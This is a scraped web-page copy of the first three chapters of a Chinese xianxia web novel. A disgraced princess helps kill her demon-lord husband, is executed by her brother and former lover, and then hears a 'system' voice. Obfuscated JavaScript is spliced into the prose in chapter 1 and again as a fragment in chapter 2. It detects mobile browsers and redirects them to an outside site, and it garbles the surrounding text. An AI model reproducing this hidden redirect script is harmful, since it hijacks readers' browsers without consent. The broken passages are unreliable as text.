《反派夫妇劳改日常》 1. 第 1 章 妆台上的蜡烛烧了一整夜,融化的烛泪沿烛台缓缓流淌,在台面上凝固成一滩暗沉的蜡渍,空气中弥漫着一丝焦糊气味,无人剪烛芯,烛火的光芒已越来越微弱了。 好在窗外的天色渐明,晨光驱散薄雾,从窗棂外透进来,弥补了昏暗的烛光。 烛火光晕中坐着一个窈窕的女子身影,着一身繁重的大袖宫装,发髻松脱了一半,垂在肩侧。 妆台银镜里映照出她苍□□致的面容,细长的眉紧蹙,乌黑的瞳中,两点烛火摇曳,透出一种极度不安的焦虑之色,就连厚重的珍珠粉都遮不住她眼下的两片青痕。 蜡烛烧了多久,慕昭然便在这妆台前坐了多久。 她在等一个消息,一个关乎她往后自由甚至生死的消息。 随着天色越亮,慕昭然心中的焦虑也越盛,她无意识地抬手抚摸自己披散在肩上的头发,指尖捻过耳畔一缕整齐截断的发丝时,动作顿了一顿,眼神越发复杂难明,抚摸良久后才对着银镜将这一缕剪过的发藏进耳后的发丝里。 “嘭!” 一声巨响,寝殿大门被人从外撞开,疾风灌入殿内,将满室苟延残喘的烛火彻底吹灭。 外面天光刺目,一个紫衣人逆光而入,快步奔来,急促的声线随风一起送入她耳中,“殿下,天道宫修士闯进来了!” 在大敞的殿门外,果真能见到数道流光朝向此处飞快射来,在逼近这座宫殿之外时,宫墙下忽然窜起几道幽影,与那逼近的流光相斗到一起。 法术的光芒闪动,将进犯者拦了一拦。 只这么片刻工夫,紫衣人影已到了她的身前,从窗外透进的晨光中,慕昭然第一次看清楚这位如影子一样潜伏在她身旁的人,究竟长得什么模样。 ——是一个身形娇小,面庞圆润,长相甚至称得上甜美的年轻女子。 这般样貌无辜的女子,却是蛊王麾下恶名昭著的十二青蠖之一,说出去怕是都无人会相信。 慕昭然起身向她迎过去,唇畔漾起浅浅笑意,“螟蛉,你终于肯现身了。” 情势紧急,螟蛉来不及思索她此话的含义,伸手一把攥住慕昭然的手腕,说道:“国师尚未回宫,王宫中留守的伏影卫挡不住他们,殿下随我从密道里离开,我送你去国师……” 她急声说到一半,话音戛然而止,低头看向自己胸口。 慕昭然那宽大的袖摆微微拂动,袖口探出的手柔软而白皙,纤细的五指间掌着一枚黄符,正按在她的胸口之上。 符箓触及她身躯的刹那,纸上朱砂铭文大亮,赤红的锁链如狂舞的毒蛇迸射而出,迅速将她缠缚其中,动弹不得。 符光刺入螟蛉眼中,激得她瞳孔骤缩,愕然抬眸。 慕昭然挣脱开她抓握在自己手腕的力道,直视她惊愕的双眼,语气冷冽道:“我不去。” 话音未落,殿外剑鸣乍起,一道利光破空而至,直直穿透殿门,猛然刺入螟蛉的心口。 这一剑来得太快,快得让人来不及反应,剑尖上飞溅的鲜血洒到脸上,在空气被剑鸣撕裂的阵阵余音中,慕昭然怔怔地低头望向螟蛉心口,踉跄地退后两步,跌坐在软榻上,胸膛剧烈起伏。 螟蛉心口正中一剑,浑身经脉都被剑气绞碎,仍是死死盯着她,嘴角鲜血成线淌下,喘息道:“去、去找国师,你只能去他身边……只有他……会护住你……” 去他身边,只能去他身边。 慕昭然实在听她说过太多次这样的话了,螟蛉就是阎罗安插在她身旁的影子,隐匿在暗处,时时刻刻地监视她,提醒她,她是如何不得自由。 慕昭然蜷紧手指,指甲掐进了掌心的软肉里,压下心中惊惧,勾唇扯出一抹轻蔑的笑意,抬袖拭去脸上的血,从软榻上站起身,昂起下巴道:“谁说我只能去他身边?” 像是为了应和她的话,杂乱的脚步声相继踏入殿内,有人从螟蛉身后一把拔出了那柄不断滴血的长剑。 剑气撕破螟蛉身上的禁锢符,她才软软地滑倒至地上,在看到跟随南荣王一同进来的天道宫修士时,终于恍然大悟,艰难地抬眸看向慕昭然,愤恨道:“你竟然背、背叛国师……” 慕昭然还没说什么,已先有人替她发出荒谬的嗤笑。 “背叛?”慕隐逸抖落剑上的血,将灵剑还给身旁的修士,那素来温吞的眉眼撕开一道裂缝,露出了掩藏在底下经年积累的屈辱与怨恨,厉声道,“一个摆弄蛊虫的邪修算是什么东西,也配说‘背叛’二字!我南荣在尔等邪魔外道的践踏下忍辱负重十年,如今终于重得天道认可,回归正统。” “本王才是这南荣的国君,是该享有众人忠诚的唯一君主,本王的阿姐自然该是向着我的,向着我南荣子民的。”他转向慕昭然,眸中闪动着兴奋的火光,柔声问道,“阿姐,你说是也不是?” 慕昭然撇开眼,避开了螟蛉那一双逐渐失去生机而灰败下去的眼睛,抿了抿唇,没有回答他的问题,反问道:“他死了么?” 她没有问阎罗和云霄飏的一战谁输谁赢,天道宫的修士能这么大张旗鼓地闯进南荣王宫里来,便已经彰显了胜负结果。 她只在意,那个人究竟死了没有。 慕隐逸浑不在意地上死去的虫子,绕过蔓延到脚边的血迹。 走到慕昭然面前时,他眼底外露的狠戾已完全收敛,又换回了平日里那副熟悉的、在她面前惯常撒娇时的亲昵模样。 伸手勾起慕昭然肩上的一缕青丝,一边轻抚,一边回道:“有阿姐相助,他哪还有生路?只可惜,他一身蛊毒邪功,到底修为深厚,就算被霄飏剑尊一剑诛灭了体内本命王蛊,依然还有一息尚存,没有彻底死透。” 慕昭然等了一夜,终于等来了她想要的答案。 悬在心中的大石落地,激起千重浪,可那浪花之中翻涌的情绪却也没有多少喜悦,反而五味杂陈,堵在心头,竟分不清是何滋味。 慕隐逸低下头,眼珠转动,仔仔细细地打量她的神情,试探道:“阿姐难道是在为他难过?” “当然不是。”慕昭然立即摇头,辩解道,“我只是担心,他要是不死,若有翻身机会,必定会百倍千倍地报复回来。” “是啊,他若是不死,那弟弟我便是必死无疑,不过我想他应当舍不得阿姐死。”慕隐逸打量着她,他的阿姐真的很美,蛾眉曼睩,惊惑人心,美得连那个只知玩弄蛊虫的魔头都为她着迷。 可自古红颜多祸水,他的阿姐也没能免除其外。 握着发丝的手指忽然收紧,扯得慕昭然头皮生疼,她吃痛地嗔怪道:“阿隐,你弄疼我了。” 慕隐逸却依然没有松手,扯着她的头发靠过去,像是笑了笑,语气却透着冷意,“被天道宫种下噬灵引之人,金丹被毁,灵力抽空,生机会持续流散,不出三年就会衰竭而死,阿姐不知道你为何能成为这唯一的一个例外么?” 慕昭然用力拍打他的手背,有些气恼了,“是阎罗,他收罗了很多稀罕灵药为我补身,怎么?到了现在,你才想提醒我,我有多忘恩负义?” 慕隐逸摇头道:“天道宫的惩戒又岂是这么容易就能补回来的?阿姐能活到现在,是因为阎罗在你体内种了一只连心蛊,他一直在用自己喂补你体内的虫子,用他的命来延续你的命。” 慕昭然先是因自己体内有虫,而头皮发麻,慌张地想要挽袖检查经脉,在听完他后半句话时,才动作一顿,睁大眼睛断然反驳道:“不可能!他不会的……” 阎罗那种人,怎么可能为了她不惜耗损自己? 慕昭然嘴上说着不可能,可心中还是有了些许动摇,因为每次阎罗来与她亲近之后,她的身体的确会好上许多,她一直以为那是因他带来的灵药。 她以为每月一次的双修,也是她想要从他手里获取灵药,所必须付出的代价。 慕隐逸瞧着她的神情,忽然有点同情那个魔头了,他的阿姐就是这样,从小到大都一直很擅长理所当然地享受别人对她的付出。 “他把你体内的虫子喂养得太好了,现在倒反过去吊住了他的最后一口气。”慕隐逸叹息道,“阿姐,你与阎罗成婚十年,定了姻缘契,许了生死诺,他是万蛊之王,你便是他的蛊后,你们二人的命运已很难再拆分开了。” 慕昭然听出他话中隐约的不祥之意,慢慢抬起眼帘,声线里带着细微的颤抖,“你想说什么?” 慕隐逸松开她的头发,挺直腰背,他直起腰后,身量便比她高出了大半个头,逆着殿外透进的光,身影极具压迫性地笼罩在她身上,隐没在暗影里的眉眼越发冷峻,令人心悸。 直到此时,慕昭然才后知后觉地意识到,眼前之人早已不再是从前那个满眼崇拜地追随在她身后的小少年了,他已经长大,长成了一个男人。 一个现在看上去,竟让她感觉无比陌生的男人。 慕隐逸垂眸看着她,卸下伪装出来的亲昵后,面上便只剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164977|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大义灭亲的凛然与残忍,一字一顿道:“阿姐当年以南荣圣女的身份进入天道宫修习,却因品行不端,道德败坏,残害同门的罪名,被天道宫列入‘失道者’名录,后来又与毒蛊阎罗勾结在一起,做了许多伤天害理之事,阿姐身上罪业累累,即便此次在剿灭毒蛊阎罗时,出了几分力,也无法相抵。” “阿姐,天道宫的仙士和南荣的民众都要求我把你交出去,和毒蛊阎罗一起处死,众怒难违,弟弟实在保不住你。” 慕昭然脑海里嗡嗡作响,神情恍惚地转眸看向跟随在他身侧的天道宫修士。 他们穿着一身圣洁的冰蓝色法衣,发冠上系着蓝色发带,眉目冷肃,嫉恶如仇,看她的眼神的确是在看邪魔外道。 天道宫至高无上,地位超然,是世间仙门之首,更是世上唯一掌管“天谕”的存在。 不论是邦国门派,还是世家望族,只有获得天道宫承认,受领“承天鉴”,在世人眼中才算是正统,除此之外,皆算是歪门邪道。 南荣建国八百年,自然也曾受领承天鉴,是受天地四方承认的政权。 在南荣国,国君掌政,圣女供奉承天鉴,沟通神鬼之事,承接由天道宫发放的天谕,以辅助国君,安定民生。 慕昭然生于南荣王室,从小便在圣堂里长大,被当做南荣的下一任圣女培养,在她及笄之后,被送入天道宫中修习,希求她能为南荣求得一枚新的,可再保南荣未来百年国运昌隆的承天鉴。 可正如慕隐逸先前所言,慕昭然当年进入天道宫后,却将肩负的重任抛诸脑后,为了一点儿女私情,争风吃醋,德行败坏,最终走入歧途,并不得天道宫认可。 她不仅没能求得承天鉴,还被天道宫列入了罪大恶极的失道者名录,受天下人唾弃,南荣也因此受到牵连,险些覆灭。 慕昭然被废掉修为,驱逐出天道宫,身边众叛亲离,又面临着国破家亡之危,实在走投无路,只能委身于那一身毒蛊、丑陋无比的蛊王阎罗,求他挽救自己即将倾覆的家国。 蛊王阎罗以血腥手段平息了南荣国内的叛乱,打退外敌,应她所求,扶持了她的弟弟继任国君,自己则任了南荣国师之位。 可那蛊王阎罗是与天道宫敌对之人,身边跟随者,皆是失道的邪修妖魔,在他任南荣国师的十年间,南荣彻底沦为邪魔聚集之地,早已成了世人眼中的魔巢。 慕昭然就在这魔巢的最中心处,日日与那阎罗相对,言不由衷,曲意逢迎,就像是一只被蛛网缠裹的飞蛾。 所以,当云霄飏再次出现在她面前时,她难以抑制地对他旧情复燃。 所以,当弟弟哀求她时,她几乎想也没想地选择了与他们一同联手,诛杀阎罗,摧毁这一张罩在南荣国上,更是束缚在她身上令她不得喘息的污秽蛛网。 可她没想到,他们竟想将她连同蛛网一起毁灭。 “不,不是这样的……”慕昭然难以置信地摇头,目光从冰冷的天道宫修士脸上扫过,最后落回眼前这个和自己血脉相连的唯一亲人脸上,双眼通红地质问道,“慕隐逸你知道你在说什么吗?我是你的亲姐姐!是我救了你,是我牺牲自己为你求来的王位!如果没有我,你早就死了!” 慕隐逸失笑出声,“从我出生起,我便是南荣的储君,是名正言顺的王位继承人,如果没有你,南荣也不会背负污名,不会失去天道庇佑,更不会陷入国破家亡只能向邪魔求援的境地!” 字字诛心。 慕昭然脸色煞白,嘴唇止不住地颤抖,想要反驳,却又无力反驳。 好半晌后,她忽然轻轻笑了一声,猛地一把推开慕隐逸,努力支撑着自己摇摇欲坠的傲骨,昂首道:“云霄飏呢?他是天道宫的剑尊,他答应过我会为我洗清污名,迎娶我回宫,你们谁敢动我?!” 慕隐逸看着她不知悔改的模样,心底残留的最后一丝不忍也消耗殆尽,阿姐已经不是他记忆中的阿姐了,现在的她早已变得面目可憎,根本不值得怜悯。 到了此刻,她都还沉溺在云霄飏为她编织的那些不切实际的承诺和幻想中,那么可憎,又那么可悲。 慕隐逸叹息一声,开口戳破了她最后的美梦,“阿姐,你还是这么天真又执迷不悟,一碰上云霄飏,就完全失去了脑子,他叫你做什么你就做什么。你不会当真以为,只要他心爱之人不在了,他就会放下过往,移情于你?” “云霄飏啊,应该是这个世界上最恨你的人了。” 2. 第 2 章 最终,慕昭然还是被自己大义灭亲的亲弟弟送上了审判台。 这座审判台就设立在南荣王宫的宫门前,广场上黑压压的人群一眼望不见尽头,都是前来围观诛魔的南荣子民,甚至有不少人摇晃着旗幡,高呼“肃清妖邪,还南荣清明”的口号。 四面的看台上,不止有天道宫的修士,还有九州之境的名门望族、仙家子弟。 慕昭然在其中看到了许多的熟面孔,是当年和她一同进入天道宫中修习的同门,现如今,他们都成了各自门派和家族中的掌权者,唯有她,沦为了审判台上即将被处刑的罪犯。 主掌审判她的人,三日前还曾亲口对她许诺,许诺诛灭蛊王阎罗后,便与她一同抛却过往的一切爱恨情仇,洗净前尘,重新开始。 从此以后,双宿双栖,白首不离。 事已至此,若是她还不明白,云霄飏口中的那些诺言,都不过是为了利用她来对付阎罗的把戏,那她就太过愚蠢了。 慕昭然脸上被缠裹了一层灰布,遮住了她那张容易蛊惑人心的脸,只露出一双满怀怨毒的眼睛。 她死死盯着看台上的人,从灰布下发出憎恨的嘶吼:“云霄飏,你骗我,你们都骗我!” 可她的怒吼并未换来对方的动容,反而让她看上去更加狼狈罢了。 慕昭然便在众人围观之下,被人押解着,连推带搡地一步步逼向那座染满鲜血的高台。 在她之前,这座审判台上不知道已处决了多少妖邪之徒,一股股的血水汇成了溪流,从最高一层的石台往下流淌,上行的台阶被鲜血染透,每走一步都能踩出啪嗒的水声。 她的鞋被血水浸湿,裙摆也染成了暗红色。 踏上最后一级台阶时,慕昭然被人狠狠推了一把,往前踉跄几步,跌跪在审判台上。 视野里一片血红,浓烈的血腥味渗透覆面的灰布,灌入鼻息,熏得她胃里一阵翻涌,险些呕吐出来。 她挣扎着想要站起身,又被一股强悍的力道按回了血泊之中。 “慕昭然,”云霄飏的声音冷若寒冰,字字如刀刺骨,“你在天道宫时,便心术不正,残害同门,受天道宫惩戒后,仍不思悔改,与邪魔沆瀣一气,祸乱苍生,条条罪状,罄竹难书。今日本尊携仙门百家,应南荣国君及万千子民之请,在此诛杀你与阎罗,肃清妖邪,以正天道,以慰人心。” 好一个以正天道,以慰人心。 他的声音落下,四周顿时响起山呼海啸般的呐喊,几乎要将此间天地吞没,慕昭然那点不甘的嘶吼在怒浪之下,实在微不可闻。 她仰头望了一眼上方浓云翻卷的天幕,天幕之下,所有人都在庆贺她的死亡,再没有人会愿意来救她了。 这就是她当初不惜一切代价,挽救回来的家和国,如今,全都弃她如敝履。 慕昭然毫无反抗之力地被压迫在肩背上的力量拖拽到了审判台边缘,越过淌血的石台,下方摆置着一口三丈见方的巨鼎,那鼎内密密麻麻的蛇虫鼠蚁,正因审判台上滴落的鲜血而沸腾。 这口鼎,慕昭然其实并不陌生,它是蛊王阎罗的法器,方鼎内含一方狭小天地,用来豢养那些令人闻之色变的虫蛊。 但现在,这口鼎的主人却被一柄长剑贯穿,毫无尊严地钉在了蛊鼎之中,他的身躯和四肢,亦被他精心豢养的蛊虫啃噬成了血淋淋的白骨。 慕昭然看见了他身体上密集蠕动的蛊虫,在仅剩的一点血肉之中钻进钻出,恍惚都能听到它们破开皮肉,啃咬骨头的“嘎吱”声。 如慕隐逸所说,他的确还没有死透,还有一口气息尚存,被剑钉穿的心口仍微弱地起伏着。 阎罗常年覆在脸上的那张薄银面具已不知所踪,露出了一张毁容丑陋的脸,眼下,这张脸上陈年的伤疤再次被蛊虫撕咬得鲜血淋漓,变得更加狰狞可怖了。 就连那一双湛清的眼眸,都爬满了血丝。 慕昭然一直便知晓他面目丑陋,嫌弃他身体里密不可分的蛊虫,可即便再如何厌憎阎罗,却也不得不承认,他的那一双眼原本是生得极好看的。 眼尾狭长,睫羽浓密,瞳仁的颜色较寻常人更浅,覆着一层银灰,有种皓月般的清冷剔透。 若光看他的这一双眼,时常会让人以为他是什么渊清玉絜的仙君,而非捣弄毒蛊的邪魔。 但现下这双眼中的神光已然黯淡,瞳孔扩散,瞳神浑浊,皓月蒙尘,彻底失去了光华。 慕昭然只看了一眼,便难以忍受地撇开视线,余光扫见他被噬咬得只剩骨头的手掌,那手骨之中还紧紧攥着一条流苏轸穗。 她愕然片刻,终于忍不住痛哭出声,“对不起,别怪我别怪我……” 这条轸穗是她第一次主动送给他的礼物,慕昭然编了好些时日,又绞下自己一缕头发,一起编在那条墨绿色的穗子里,绞尽脑汁寻了个由头送给他。 阎罗握着轸穗细细地查看了许久,慕昭然便也忐忑了许久。 她知道这种要绑在本命法器上的东西,定要慎之又慎,就算他将每一根流苏都检查一遍也不为过。 可慕昭然心中有鬼,害怕他当真检查出端倪,故作恼怒地伸手想要抢回轸穗,没好气道:“你要是担心这条轸穗有问题,那就还给我,我把它丢给宫外的野狗,也不想送你!” 阎罗抬高手避开了她的抢夺,从墨绿色的流苏里捻出一缕乌黑的发丝,“昨夜你与我同寝时,始终不肯散发,是因为剪了一缕头发,用在了这里?” 慕昭然抚了抚耳后,“你若不想要,就还给我。” 阎罗没再多说什么,面具下的眼眸微弯,短暂地流淌过一缕笑意,当着她的面,取出自己催动蛊虫的本命法器鸣幽琴。 鸣幽琴通体漆黑,琴弦银白,七根琴轸上系着与琴身同色的穗子,阎罗解下最中间那一根琴轸上的黑色旧穗,系上了她送的这条轸穗。 “一条就够了,别把头发剪坏了,它们只有留在你身上,才足够动人,我还是喜欢看你披散开头发,从你肩头抚摸它们。” 他只检查了编织轸穗的丝绦,没有检查她编入轸穗的发丝,那发丝上浸润了云霄飏送来的药髓,专克他的蛊虫。 鸣幽琴以银魄蛛丝为弦,栖息于琴身内的银魄蛛死,琴弦断,无力驱使虫蛊,本命法器的损毁在瞬息万变的大能交战中,足以致命。 可以说,是她亲手置他于死地。 慕昭然盯着那被鲜血浸透、与他指骨交缠在一起的轸穗,泪珠从她眼角不断滴落下去,落进下方灰败的眼瞳里,那双眼的睫毛轻轻颤动了一下。 耳畔有微风拂过,似有幽音入耳,但慕昭然并未听得清晰,便被另一道冷酷的声音完全盖过,“行刑——” 令下,满场的欢呼声静了一瞬。 慕昭然身体骤然腾空,从审判台上被抛落下去,砸进了下方的蛊鼎之中。 密密麻麻的虫蛊如翻涌的黑色云雾,被惊得一下往四周散开,旋即又被新鲜的血肉所吸引,蜂拥而回。 慕昭然恐惧地看着这一幕,身体僵直,几乎无法动弹。 就在蛊虫快要将她淹没时,一团黑影忽然从她怀里冲出来,迅速膨胀开,将她整个笼入身躯之内,阻挡了袭来的蛊虫。 “乌团!”慕昭然刚露出一点欣喜之色,便听得外面一声尖锐剑鸣,紧跟着又是一声凄厉猫叫,眼前的黑暗被剑光一分为二,从她身上剥离,在炽烈金光中不断消融。 慕昭然颤抖着伸手去抓猫灵的影子,眼泪簌簌往下掉,流也流不尽似的:“乌团乌团……” 最后一样试图保护她的东西也没了。 奉天剑悬在蛊鼎上方,寒光凛凛,云霄飏的声音从上方飘来,“慕昭然,今日无人能救你。” 慕昭然狼狈地从地上爬起来,先被几只翩然振翅的黑色蝴蝶闯入视野,翅翼的鳞粉簌簌地洒落下来,闪动着斑斓绮丽的微光,乍一眼看去竟是无比美丽的。 只是当鳞粉沾到皮肤上的瞬间,却能给人带来剧烈的痛楚。 慕昭然眼睁睁看着自己手背上蔓延开一片血红的水泡,痛得失声尖叫,裹住袖摆一边后退一边胡乱挥舞,“滚开!不要过来,不要过来!” 她后退得太过慌乱,不知踩到何物,滑腻的触感从她脚下一窜而过,将她嘭一下又重重绊倒在地上。 一条蛇从她裙摆下冒出头来,嘶嘶吐信,缠上她的脚腕。 慕昭然尖叫着踢踹,躲开了毒蛇,却躲不开数之不尽朝她涌来的蛊虫,蜘蛛,蝎子,蜈蚣,还有更多她辨认不出的东西。 它们窸窸窣窣,潮涌而来,从她的裙摆、袖口、衣襟往里钻入。 慕昭然浑身又痛又痒,皮肤如同火烧,她拼命拍打涌来身上的虫子,慌乱地退到蛊鼎边缘,攀附住铜鼎内壁,想要往上爬出蛊鼎。 当她快要脱离鼎底虫潮,有剑鸣声震颤,悬空的奉天剑射来,又将她打落回蛊鼎内。 慕昭然落地时,右手不知道按住了什么东西,被狠狠蛰了一口,抬手看时,掌心已是一片乌黑,毒素顺着经脉开始往手臂上蔓延。 她手脚发麻,再一次挣扎爬起,手指无助地挠着鼎壁,染着蔻丹的指甲被壁上雕刻的蛇纹刮落,一片片脱落下来。 只是比起被蛇虫噬咬的痛,这点痛楚已不算得什么了。 经过这么一番折腾,缠裹在脸上的灰布松脱,那张原本动人心弦的脸,也再不复往日美貌。 鲜血从她脸上成串地往下滴,慕昭然浑身都是血,便也感觉不出自己究竟是哪里在流血了。 血气吸引来更多虫蛊,慕昭然视野里都是虫影,皮肤溃烂,仿佛都能感觉到虫蛊在自己皮肤底下蛄蛹。 她终于力竭崩溃,痛哭求饶:“我错了,我真的错了,不管是什么罪我都认,求求你们放过我!让我出去……云霄飏,阿隐,阿隐,救救我我错了……” 看台上,慕隐逸终究露出了一丝不忍。 他转过目光看向身旁御使剑诀,神情冷酷的云霄飏,嘴唇动了动,开口道:“剑尊,阿姐素来便厌恶那些虫子,就算阎罗也从不让虫影近她身,即便要惩罚,可否换……” 这句求情的话,在看到从看台一侧的幕帘里走出的身影时,又被他迟疑地吞回了腹中。 来人一袭白裳,头戴一顶白纱幕离,身量纤细而单薄,好似这看台上的一缕风都能将她吹得盈盈倒地。 在慕隐逸下意识迈步朝她走去之前,云霄飏已抢先转身迎上前,扶住了她的臂膀。 先前还寒霜满面的剑尊,现下如春风拂面,寒霜尽融,柔声道:“离枝,你怎么出来了?” 叶离枝缓步走到看台最前,抬手掀开眼前白纱,垂眸看向下方在蛊鼎内抱头求饶的人,深吸了口气,嘴角扬起痛快的笑意,高声问道:“慕昭然,当初我向你百般求饶时,你又可曾想过放我一马?” 蜷缩在蛊鼎中的人浑身一震,惊愕抬头,那一袭熟悉的白衣身影逆着天光撞入她眼中。 “叶离枝?”慕昭然用力眨了眨眼,怀疑是自己被虫蛊噬咬后产生的幻觉,盯着她看了良久后,忽而吃吃地笑起来,一边摇头一边迭声道,“不、不可能的,叶离枝早就死了,四年前的中秋夜,是我亲手捏开她的嘴,往她嘴里灌下的散魂汤,这是无药可解之毒,你怎么可能还活着?!” 她显然,并不愿意接受眼前的事实。 叶离枝偏过头对慕隐逸投去柔柔一暼,“幸得慕公子好心怜悯,暗中替我换了这无解之毒,又助我假死脱身,我才能逃离你的折磨,捡回这一条命来。” 慕昭然睁大眼睛,瞳孔剧烈地颤抖着,惶然的视线在看台上来回扫了一圈,才找到那个就站在不远处的身影。 慕隐逸侧身而立,自叶离枝出现后,他全副身心似都落在了她身上,眸子里漾着掩藏不住的恋慕之情,就连云霄飏都因他的眼神而感觉不悦,警告地轻咳了一声。 慕隐逸这才猝然回神,慌忙敛眉垂目,拱手道:“叶姑娘天人之姿,心怀苍生,当初是为挽救南荣子民而来,才会陷入囹圄被擒,我身为南荣的国君,岂能助纣为虐,眼睁睁看着无辜之人枉死。” 眼见这一幕,慕昭然还有什么不明白的呢?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164978|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她最亲的弟弟,原来从那么早以前就背叛她了。 慕昭然低下头,看着自己在虫毒之下溃烂的手掌。 她是南荣的公主,生时锦绣满堂,应有尽有,入了天道宫才第一次体会到求而不得的滋味。 于是,她生了嫉恨之心,一门心思地去攀比,去刁难,把什么礼义廉耻全都踩在了脚下,去强求一个不爱自己的人的目光。 她嫉妒了一辈子,争抢了一辈子,结果到头来一身污名,两手空空,什么都没能得到。 慕昭然一时哭一时笑,似已彻底疯癫,直到摸到自己脸上溃烂的皮肤,掉落的血肉,她才回光返照一般陡然清醒过来,露出了无比恐惧的表情,剧烈地颤抖起来。 她仰头望向叶离枝,第一次在她面前如此卑微求饶,丧失了所有尊严和曾经自以为是的骄傲。 “叶离枝,你赢了,你大获全胜了,天下人都赞你心如皎月,宽宏大度,不似我天性恶毒,卑劣不堪,就连我的亲弟也钦慕你而厌憎我,如今你已尽得所愿,就饶过我吧,别让我死得这么难看……” “尽得所愿?”叶离枝凄然一笑,冷风拂过,白纱下露出她悲戚的面容,那双通红的泪眼中并无多少胜利者的喜悦,只抬手轻抚在小腹上,凄声质问道,“我的家,我的孩子,我什么都没了,这叫尽得所愿?慕昭然,你怎么敢不记得,你杀了我的孩子!” 慕昭然愣了一下,喃喃道:“我不知道你那时候有了身孕……” 叶离枝讥讽道:“如果你知道,便会放过我么?” 当然不会了。 那时候她都嫉妒疯了,若是知道她怀了云霄飏的孩子,她不仅不会放过她,还会加倍地折磨她。 慕昭然明白他们不会放过自己了,云霄飏和叶离枝就想看到她无比痛苦的样子,他们是故意这么折磨她的,她越是死得痛苦难看,他们便越是开心。 她放弃了求饶,也不再拍打身上的蛊虫。 蛊鼎里的蛇虫太多了,一浪接着一浪地涌上来,很快便将她淹没,她的身躯崩溃得更快,痛楚太盛,反倒没有什么知觉了。 慕昭然左右看了看,朝着这蛊鼎之中的另一个人爬过去,裙摆下拖出一条鲜红的血痕。 她用尽了最后一丝力气,趴在阎罗残缺的胸膛上,伸手握住那一条轸穗,也连带着握住了那一只只剩指骨的手。 悔恨的眼泪裹着鲜血,扑簌簌地往下落,落进阎罗的心口内,“对不起……” 她慕昭然这一生,愚蠢,恶毒,荒唐可笑,令亲者恨,仇者快,亲手杀了这世上唯一一个会站在她身旁之人。 如今的下场,想必就是世人所期盼的罪有应得吧。 慕昭然眼中最后一丝光亮也消失了,她落入全然的黑暗中。 原以为人之将死,眼前闪过的该是人生的走马灯,可她意识里飘过的却是如雪花片一样飞落的字迹。 【这个恶毒女配终于下线了,我都快要被她恶心死了,但是这么死也太便宜她了,感觉虐得还不够狠,追妻火葬场诈骗犯都没有你能诈骗】 【就这?我请问呢?你还能写得再憋屈一点吗??女主可是被这个恶毒女配虐了半本书!害得女主流产,以后都不能有孩子了!结果你就抠抠搜搜地只虐了她两章?】 【男主晋升剑尊,得到了天道宫至高无上的地位,成为了拯救南荣的大英雄,得到四境民众的香火信仰。女主看似赢了,其实什么都没得到,她只是被虐了一本书,最终荣升为男主的正宫妻子,成为他甜蜜的附庸,可喜可贺。】 【看前面有姐妹评论说你是女配亲妈,你还真名不虚传,男主为了报复陪女配虚情假意调情了十多章,就够恶心人了,阎罗这个美强惨反派竟然真的对女配死心塌地,还为她死了,哇塞,你不会以为我们会夸赞反派的爱情感天动地吧?你自己看看你写的这个女配究竟有哪一点值得被人爱?】 【好无语啊,你的男主都剑尊了,要杀反派,还得靠勾引女配下药,low不low啊?女配也是,以前被废掉修为赶出天道宫,吃了那么多苦,还以为她能变得聪明一点,结果男主一招手她就又双叒倒贴过来了,这是什么恋爱脑】 【看小说这么多年,慕昭然真是我见过最愚蠢降智的一个角色,堂堂一国公主,脑子里面装的除了雌竞就是雌竞,一辈子就只想着如何嫁给男主,为什么非要设置这种恶毒女配的角色,写又写不好,纯纯恶心人。】 【你给男配倒是写得深有苦衷被迫黑化,给女配弟弟也写得身不由己弃暗投明,评论区一堆人为他们辩解,怎么到了女配,就是这种无脑狠毒工具人,全都是骂她的?收收你那爱男厌女的味吧。别破防了,你再删评我还会再发】 【作者,不写恶毒女配你是不是不会写文了?都什么年代了,还搞古早虐女那一套,好好的一个梗,被你写成了狗屎,你爸的退钱】 【给后来的姐妹排个雷,本文女主极端圣母,女配无脑恶毒,为了男人扯头花搞雌竞搞了半本书,剩下的就没别的剧情了,不想被气到乳腺结节的话,强烈建议别看】 【为什么非要设置这种女女对立情节,女主和女配就不能相亲相爱,互相帮助成长吗?作者设定这种狗血剧情不就是为了挑起吵架,作者,祝你穿成你笔下的角色】 【我已经看厌了恶毒女配雌竞了,到底有没有人来管管你们这些垃圾作者了】 【什么人会生来就恶毒呢?还不是你把她写成这样子的,说恶毒究竟谁最恶毒啊,难道写一个真善美的好女配能要你们这些作者的命吗?】 【难道就我一个人想看枝枝和昭然两个小女孩都好好的吗?】 【+1】 【+2】 【+10086】 慕昭然茫然地看着上方纷纷扬扬落下的字迹,如同见证了一场墨色的大雪,每一个字都是一片黑色的雪花。 雪花一片一片飘落下来,覆在她身上,融化入她的身躯之内。 漫天大雪落尽,汇聚成一道清晰的声音。 “叮,系统已确认第一位改造目标。” 3. 第 3 章 系统是什么? 慕昭然不知道,如今死到临头,万念俱灰,她也无意再去探寻。 但这个声音自从莫名其妙地出现后,就一直在她脑海里喋喋不休,挥之不去。 它说,这个世界其实是构建在一本话本小说之上,这世上所有人的命运,都衍生自这个话本,诞生于作者的笔端,慕昭然亦是如此。 只不过,她不是这本书的主角,而是话本里的恶毒女配,存在的唯一价值就是痴恋男主,陷害女主,为男女主的爱情平添磨难和误会,也为这个故事增添更多趣味和曲折。 最终在男女主跨越山海解除误会、情深意笃后,凄惨落幕,大快人心,成为他们爱情之路上一段注定被人唾弃的插曲。 